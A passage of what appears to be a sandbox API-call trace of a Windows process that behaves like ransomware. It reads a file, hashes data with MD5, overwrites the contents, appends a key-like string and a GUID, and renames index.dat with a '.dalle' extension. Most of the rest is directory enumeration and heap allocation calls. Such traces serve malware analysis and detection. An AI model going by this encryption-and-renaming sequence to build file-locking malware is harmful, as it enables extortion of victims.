ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.034] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.034] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x8000, lpOverlapped=0x0) returned 1 [0122.035] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.035] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.035] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.035] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.036] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.036] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.036] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.036] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0122.036] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.036] GetLastError () returned 0x0 [0122.036] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.036] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.036] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.037] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8000) returned 0x3096780 [0122.037] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0122.037] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0122.037] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x7ffb, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x7ffb, lpOverlapped=0x0) returned 1 [0122.037] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0122.037] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.037] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.037] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0122.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0122.037] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0122.037] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.037] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0122.037] WriteFile (in: hFile=0x618, lpBuffer=0x3093fb8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3093fb8*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0122.037] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x5e0000) returned 1 [0122.037] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.038] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.038] CloseHandle (hObject=0x618) returned 1 [0122.039] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6cb8 [0122.039] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8d0) returned 0x3093b88 [0122.039] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0122.039] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.dalle")) returned 1 [0122.039] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.039] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.040] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.040] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1 [0122.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6cb8 [0122.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6d80 [0122.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa8) returned 0x2f7e028 [0122.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3023098 [0122.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac688 [0122.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff70a0 [0122.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff7168 [0122.040] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac910 | out: hHeap=0x5e0000) returned 1 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30187b8 | out: hHeap=0x5e0000) returned 1 [0122.041] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6d80 | out: hHeap=0x5e0000) returned 1 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0122.041] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1 [0122.041] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6cb8 [0122.041] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6d80 [0122.041] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6d80 | out: hHeap=0x5e0000) returned 1 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0122.041] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0 [0122.041] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e240 | out: hHeap=0x5e0000) returned 1 [0122.041] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.041] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e240 [0122.041] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.041] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.041] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.041] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.041] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.041] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.041] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.042] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.043] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.044] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.044] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.045] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.045] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.046] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.046] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e0d0 [0122.046] RtlAllocateHeap 